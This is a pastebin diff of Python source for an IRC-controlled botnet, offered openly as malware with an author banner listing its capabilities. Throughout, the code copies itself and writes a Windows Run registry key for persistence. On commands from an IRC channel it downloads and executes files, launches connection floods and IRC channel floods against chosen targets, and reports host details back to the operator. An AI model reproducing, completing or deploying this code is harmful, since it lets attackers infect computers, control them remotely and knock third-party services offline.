SHOW:
|
|
- or go back to the newest paste.
| 1 | #!/usr/bin/python | |
| 2 | ||
| 3 | ||
| 4 | print ''' | |
| 5 | ||
| 6 | # Python Botnet. | |
| 7 | # Author: Muhammad Adeel aka Innoxent Stoker | |
| 8 | # FB: http://facebook.com/xtoker | |
| 9 | # Email: [email protected] | |
| 10 | ||
| 11 | _\|/_ | |
| 12 | (o o) | |
| 13 | +----oOO-{_}-OOo--------------+
| |
| 14 | |==> author: Muhammad Adeel + | |
| 15 | +==> FB.com/xtoker + | |
| 16 | |==> [email protected] + | |
| 17 | +-----------------------------+ | |
| 18 | ||
| 19 | I Can Do Following Things. | |
| 20 | ||
| 21 | [*] Can Copy Myself AnyWhere in PC. | |
| 22 | [*] Can Use the registry to add Myself to startup. | |
| 23 | [*] Can Download files. | |
| 24 | [*] Can Execute files. | |
| 25 | [*] Can Syn flood. | |
| 26 | [*] Can Irc channel flood attacks. | |
| 27 | [*] Can Give info on the infected PC. | |
| 28 | ||
| 29 | - | [+] Use: change irc server and Port. and run it. |
| 29 | + | |
| 30 | ||
| 31 | ||
| 32 | import socket | |
| 33 | import sys | |
| 34 | import random | |
| 35 | import urllib2 | |
| 36 | import subprocess | |
| 37 | import os.path | |
| 38 | import os | |
| 39 | import threading | |
| 40 | import platform | |
| 41 | import shutil | |
| 42 | ||
| 43 | ||
| 44 | # Settings.... | |
| 45 | - | from _winreg import * |
| 45 | + | |
| 46 | server = raw_input("Enter IRC Server: ")
| |
| 47 | channel = raw_input("Channel Name: ")
| |
| 48 | keyword = raw_input("Enter Keyword: ")
| |
| 49 | nickprefix = raw_input("Nick Prefix: ")
| |
| 50 | - | server = "banks.freenode.net" |
| 50 | + | outfile = raw_input("Path to copy botnet: ")
|
| 51 | - | channel = "irc://banks.freenode.net/hacking" |
| 51 | + | |
| 52 | - | keyword = "hacking" |
| 52 | + | |
| 53 | - | nickprefix = "Stoker" |
| 53 | + | |
| 54 | - | outfile = "E:" |
| 54 | + | |
| 55 | ver = "1.0" | |
| 56 | synkill = False | |
| 57 | ||
| 58 | class Synflood(threading.Thread): | |
| 59 | def run(self): | |
| 60 | sendmsg(channel, "Starting syn flood to " + host + " on port " + str(port)) | |
| 61 | while synkill == False: | |
| 62 | synsock = socket.socket() | |
| 63 | synsock.connect((host, port)) | |
| 64 | return | |
| 65 | ||
| 66 | class Download(threading.Thread): | |
| 67 | def run(self): | |
| 68 | afile = url.rsplit('/', 1)
| |
| 69 | u = urllib2.urlopen(url) | |
| 70 | localFile = open(afile[1], 'w') | |
| 71 | localFile.write(u.read()) | |
| 72 | localFile.close() | |
| 73 | sendmsg(channel, "Download of " + str(afile[1]) + " completed") | |
| 74 | ||
| 75 | class Chanflood(threading.Thread): | |
| 76 | def run(self): | |
| 77 | chanfloodsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
| 78 | try: | |
| 79 | chanfloodsock.connect((chanfloodserv, 6667)) | |
| 80 | except socket.error: | |
| 81 | sendmsg(channel, "server timed out or does not exist") | |
| 82 | else: | |
| 83 | sendmsg(channel, "Flooding " + chanfloodchan + " on " + chanfloodserv) | |
| 84 | chanfloodsock.send(str.encode("USER "+ botnick +" "+ botnick +" "+ botnick +" :hax\n"))
| |
| 85 | chanfloodsock.send(str.encode("NICK "+ botnick +"\n"))
| |
| 86 | chanfloodsock.send(str.encode("JOIN "+ chanfloodchan + " " + chanfloodkeyword + "\n"))
| |
| 87 | while chanfloodkill == False: | |
| 88 | chanfloodsock.send(str.encode("PRIVMSG "+ chanfloodchan +" :" + msg + "\n") )
| |
| 89 | return | |
| 90 | ||
| 91 | class Infect(threading.Thread): | |
| 92 | def run(self): | |
| 93 | shutil.copy(sys.argv[0],outfile) | |
| 94 | aReg = ConnectRegistry(None,HKEY_LOCAL_MACHINE) | |
| 95 | aKey = OpenKey(aReg, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0, KEY_WRITE) | |
| 96 | SetValueEx(aKey,"Explorer",0, REG_SZ, outfile) | |
| 97 | ||
| 98 | def connect(): | |
| 99 | try: | |
| 100 | ircsock.connect((server, 6667)) | |
| 101 | except socket.error: | |
| 102 | print "timed out.. trying again.." | |
| 103 | connect() | |
| 104 | else: | |
| 105 | ircsock.send(str.encode("USER "+ botnick +" "+ botnick +" "+ botnick +" :hax\n"))
| |
| 106 | ircsock.send(str.encode("NICK "+ botnick +"\n"))
| |
| 107 | ||
| 108 | def ping(): | |
| 109 | ircsock.send(str.encode("PONG :pingis\n"))
| |
| 110 | ||
| 111 | def sendmsg(chan , msg): | |
| 112 | ircsock.send(str.encode("PRIVMSG " + chan +" :" + msg + "\n") )
| |
| 113 | ||
| 114 | def joinchan(chan): | |
| 115 | ircsock.send(str.encode("JOIN " + chan + " " + keyword + "\n"))
| |
| 116 | ||
| 117 | def leavechan(chan): | |
| 118 | ircsock.send(str.encode("PART " + chan + " leaving the channel" + "\n"))
| |
| 119 | ||
| 120 | def quitirc(chan): | |
| 121 | chanfloodkill = True | |
| 122 | synfloodkill = True | |
| 123 | ircsock.send(str.encode("QUIT" + "\n"))
| |
| 124 | ||
| 125 | ircsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
| 126 | botnick = nickprefix + str(random.randint(1,10000)) | |
| 127 | connect() | |
| 128 | joinchan(channel) | |
| 129 | ||
| 130 | if os.path.isfile(outfile) == False: | |
| 131 | Infect().start() | |
| 132 | else: | |
| 133 | print "\nComputer is already infected" | |
| 134 | ||
| 135 | while 1: | |
| 136 | ircmsg = ircsock.recv(2048) | |
| 137 | ircmsg_clean = ircmsg.strip(str.encode('\n\r'))
| |
| 138 | print(ircmsg_clean) | |
| 139 | ||
| 140 | if ircmsg.find(str.encode("Nickname is already in use")) != -1:
| |
| 141 | botnick = nickprefix + str(random.randint(1,10000)) | |
| 142 | ircsock.send(str.encode("NICK "+ botnick +"\n"))
| |
| 143 | joinchan(channel) | |
| 144 | ||
| 145 | if ircmsg.find(str.encode("PING :")) != -1:
| |
| 146 | ping() | |
| 147 | ||
| 148 | if ircmsg.find(str.encode("!leave")) != -1:
| |
| 149 | leavechan(channel) | |
| 150 | ||
| 151 | if ircmsg.find(str.encode("!quit")) != -1:
| |
| 152 | quitirc(channel) | |
| 153 | sys.exit() | |
| 154 | ||
| 155 | if ircmsg.find(str.encode("!download")) != -1:
| |
| 156 | try: | |
| 157 | parts = ircmsg_clean.split() | |
| 158 | url = parts[4] | |
| 159 | except IndexError: | |
| 160 | sendmsg(channel, "Invalid syntax, usage: !download <direct_link_to_file>") | |
| 161 | else: | |
| 162 | if __name__ == "__main__": | |
| 163 | Download().start() | |
| 164 | ||
| 165 | ||
| 166 | if ircmsg.find(str.encode("!run")) != -1:
| |
| 167 | try: | |
| 168 | parts = ircmsg_clean.split() | |
| 169 | run = parts[4] | |
| 170 | except IndexError: | |
| 171 | sendmsg(channel, "Invalid syntax, usage: !run <filename>") | |
| 172 | else: | |
| 173 | if os.path.isfile(run) == True: | |
| 174 | subprocess.call(['start', run], shell=True) | |
| 175 | sendmsg(channel, run + " has been executed.") | |
| 176 | else: | |
| 177 | sendmsg(channel, run + " does not exist.") | |
| 178 | ||
| 179 | if ircmsg.find(str.encode("!syn")) != -1:
| |
| 180 | try: | |
| 181 | parts = ircmsg_clean.split() | |
| 182 | host = parts[4] | |
| 183 | port = int(parts[5]) | |
| 184 | except IndexError: | |
| 185 | sendmsg(channel, "Invalid syntax, usage: !syn <host> <port>") | |
| 186 | else: | |
| 187 | if __name__ == "__main__": | |
| 188 | synkill = False | |
| 189 | t = Synflood().start() | |
| 190 | ||
| 191 | if ircmsg.find(str.encode("!stopsyn")) !=-1:
| |
| 192 | synkill = True | |
| 193 | sendmsg(channel, "Flood stoped") | |
| 194 | ||
| 195 | if ircmsg.find(str.encode("!info")) !=-1:
| |
| 196 | iall = "all" | |
| 197 | try: | |
| 198 | parts = ircmsg_clean.split() | |
| 199 | inick = parts[4] | |
| 200 | except IndexError: | |
| 201 | sendmsg(channel, "Invalid syntax, usage: !info <botname> or !info all to view info on all bots.") | |
| 202 | else: | |
| 203 | if inick == botnick or inick == iall: | |
| 204 | os = platform.system() | |
| 205 | name = platform.node() | |
| 206 | proc = platform.processor() | |
| 207 | info = "OS: " + os + ", Name: " + name + ", Processor: " + proc | |
| 208 | sendmsg(channel, info) | |
| 209 | ||
| 210 | ||
| 211 | if ircmsg.find(str.encode("!moreinfo")) !=-1:
| |
| 212 | miall = "all" | |
| 213 | try: | |
| 214 | parts = ircmsg_clean.split() | |
| 215 | inick = parts[4] | |
| 216 | except IndexError: | |
| 217 | sendmsg(channel, "Invalid syntax, usage: !moreinfo <botname> or !moreinfo all to view detailed info on all bots.") | |
| 218 | else: | |
| 219 | if inick == botnick or inick == miall: | |
| 220 | minfo = platform.uname() | |
| 221 | sendmsg(channel, str(minfo)) | |
| 222 | else: | |
| 223 | sendmsg(channel, inick + " does not exist in channel.") | |
| 224 | ||
| 225 | if ircmsg.find(str.encode("!chanflood")) !=-1:
| |
| 226 | try: | |
| 227 | parts = ircmsg_clean.split() | |
| 228 | chanfloodserv = parts[4] | |
| 229 | chanfloodchan = parts[5] | |
| 230 | chanfloodkeyword = parts[6] | |
| 231 | sg = ircmsg_clean.rsplit("-m")
| |
| 232 | msg = sg[1] | |
| 233 | except IndexError: | |
| 234 | sendmsg(channel, "Invalid Syntax, usage: !chanflood <server> <chan> <chankeyword> -m <message>") | |
| 235 | else: | |
| 236 | chanfloodkill = False | |
| 237 | sendmsg(channel, "server: " + chanfloodserv + " | channel: " + chanfloodchan + " | keyword: " + chanfloodkeyword + " | MESSAGE: " + msg) | |
| 238 | Chanflood().start() | |
| 239 | ||
| 240 | if ircmsg.find(str.encode("!stopchanflood")) !=-1:
| |
| 241 | chanfloodkill = True | |
| 242 | sendmsg(channel, "Stoping flood.") | |
| 243 | ||
| 244 | if ircmsg.find(str.encode("!name")) !=-1:
| |
| 245 | sendmsg(channel, "My name is: " + sys.argv[0]) | |
| 246 | ||
| 247 | if ircmsg.find(str.encode("!version")) !=-1:
| |
| 248 | sendmsg(channel, ver) |